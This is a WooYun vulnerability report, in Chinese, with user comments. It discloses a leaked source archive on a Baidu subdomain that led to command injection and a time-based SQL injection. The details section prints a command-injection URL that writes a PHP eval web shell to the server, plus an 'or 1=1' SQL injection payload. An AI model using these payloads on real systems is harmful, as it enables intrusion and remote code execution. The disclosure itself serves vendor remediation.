百度某源码泄露可造成shell

编号98871
Urlhttp://www.wooyun.org/bug.php?action=view&id=98871
漏洞状态厂商已经确认
漏洞标题百度某源码泄露可造成shell
漏洞类型敏感信息泄露
厂商百度
白帽子Jannock
提交日期2015-03-01 10:49:00
公开日期2015-04-15 10:50:00
修复时间(not set)
确认时间2015-03-02 00:00:00
Confirm Spend1
漏洞标签敏感信息泄露 源代码泄露
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank15
漏洞简介
神器监测到某运维失误。之后大家猜。。。
漏洞细节

url:http://ge.baidu.com/wse.tar
Date: Sat, 28 Feb 2015 03:48:39 GMT
Server: Apache
Content-Location: wse.tar.gz
Vary: negotiate,Accept-Encoding,User-Agent
TCN: choice
Last-Modified: Fri, 21 Nov 2014 10:15:06 GMT
ETag: "a4006-524cbc4c-5085bb805fe80;5085bb3044180"
Accept-Ranges: bytes
Content-Length: 1380760652
Connection: close
Content-Type: application/x-gzip
比较大的包,不过还是下载下来了。
经过简单的审计,发现不少问题。
可以直接命令执行。
命令执行:
http://ge.baidu.com/index.php/wse/callBack/DiffReCrawlCallBack/?evaluation_id=7072&taskId=7993&diff_num=1;echo%20xxx%27%3C?php%20eval%28$_POST[c]%29;?%3E%27%20%3E%20/home/work/wse-platform/bin/wse/x.php;echo%201%23
上面那两个id 是只有 status !=2 或 3时才实现的。
这里可以注入获取
其中一个注入点:
http://ge.baidu.com/index.php/wse/patchPageShow/contEvalPageShow?evaluation_id=111&label_env_id=111&query_name=aaa%27or%201=1%20limit%201%23
这个是时间盲注。
程序问题还是比较多的。你们深入修复下吧。

POC

2.png


1.png

修复方案

运维注意些细节,哈。。

状态信息 2015-03-01: 细节已通知厂商并且等待厂商处理中
2015-03-02: 厂商已经确认,细节仅向厂商公开
2015-03-12: 细节向核心白帽子及相关领域专家公开
2015-03-22: 细节向普通白帽子公开
2015-04-01: 细节向实习白帽子公开
2015-04-15: 细节向公众公开
厂商回复感谢提交,已通知业务部门处理
回应信息危害等级:高漏洞Rank:15 确认时间:2015-03-02 21:21
Showing 1-21 of 21 items.
评论内容评论人点赞数评论时间

日站都用神器,我们小白用什么啊

静默02015-04-18 13:31:00

好奇是什么神器?

Toom02015-04-17 16:56:00

好奇是什么神器?

ddy02015-04-15 16:26:00

好奇是什么神器?

我的滑板鞋02015-04-15 15:27:00

好奇是什么神器?

Unravel02015-04-15 12:32:00

求神器

Qiudays02015-04-02 17:06:00

求拜师

qhwlpg02015-04-02 16:55:00

我写了大概一个月左右,感觉还不错,后来我在上线的时候也要求他们不要加防火墙,因为我要让用户看到,我用完之后是这个样子,你们用完之后也会是这个样子!

superbing02015-03-03 09:49:00

其实第一次要我写程序我是拒绝的,因为,你不能让我写,我就马上去写,第一我要学一下,因为我不愿意写完了以后再查出一些bug出来,数据库duang一下被爆了,很黑、很卡,这样用户出来一定会骂我,根本没有这样的程序,就证明程序猿都是假的。后来我也经过证实程序确实是有漏洞的,我写了大概一个月左右,感觉还不错,后来我在上线的时候也要求他们不要加防火墙,因为我要让用户看到,我用完之后是这个样子,你们用完之后也会是这个样子!

发条橙子02015-03-02 09:07:00

@0x 80 好一个沙发

90Snake02015-03-01 18:30:00

其实第一次要我挖洞我是拒绝的 因为,你不能让我挖,我就马上去挖,第一我要学一下 因为我不愿意挖完了以后再查出一些bug出来 数据库duang一下被爆了,很黑、很卡,这样厂商出来一定会骂我 根本没有这样的修复方案,就证明白帽子都是假的.后来我也经过证实这样确实可以修复漏洞。我挖了大概一个月左右,感觉还不错,后来我在上线的时候也要求他们不要加waf,因为我要让黑帽看到,我挖完之后是这个样子,你们挖完之后也会是这个样子!

ddy02015-03-01 18:05:00

其实第一次要我写程序我是拒绝的,因为,你不能让我写,我就马上去写,第一我要学一下,因为我不愿意写完了以后再查出一些bug出来,数据库duang一下被爆了,很黑、很卡,这样用户出来一定会骂我,根本没有这样的程序,就证明程序猿都是假的。后来我也经过证实程序确实是有漏洞的,我写了大概一个月左右,感觉还不错,后来我在上线的时候也要求他们不要加防火墙,因为我要让用户看到,我用完之后是这个样子,你们用完之后也会是这个样子!

ddy02015-03-01 18:04:00

沙发

0x 8002015-03-01 17:41:00

最近百度流年不利啊

Taro02015-03-01 16:11:00

等待你到百度做内应。给大伙儿……

明月影02015-03-01 15:17:00

其实第一次要我写程序我是拒绝的,因为,你不能让我写,我就马上去写,第一我要学一下,因为我不愿意写完了以后再查出一些bug出来,数据库duang一下被爆了,很黑、很卡,这样用户出来一定会骂我,根本没有这样的程序,就证明程序猿都是假的。后来我也经过证实程序确实是有漏洞的,我写了大概一个月左右,感觉还不错,后来我在上线的时候也要求他们不要加防火墙,因为我要让用户看到,我用完之后是这个样子,你们用完之后也会是这个样子!

围剿02015-03-01 14:01:00

求神器!

qhwlpg02015-03-01 13:44:00

神器、、、

Catsay02015-03-01 13:30:00

baidu哭晕在厕所里

Me_Fortune02015-03-01 13:10:00

其实第一次要我写程序我是拒绝的,因为,你不能让我写,我就马上去写,第一我要学一下,因为我不愿意写完了以后再查出一些bug出来,数据库duang一下被爆了,很黑、很卡,这样用户出来一定会骂我,根本没有这样的程序,就证明程序猿都是假的。后来我也经过证实程序确实是有漏洞的,我写了大概一个月左右,感觉还不错,后来我在上线的时候也要求他们不要加防火墙,因为我要让用户看到,我用完之后是这个样子,你们用完之后也会是这个样子!

小龙02015-03-01 12:16:00

都有神器T.T

Mik3y_1402015-03-01 10:52:00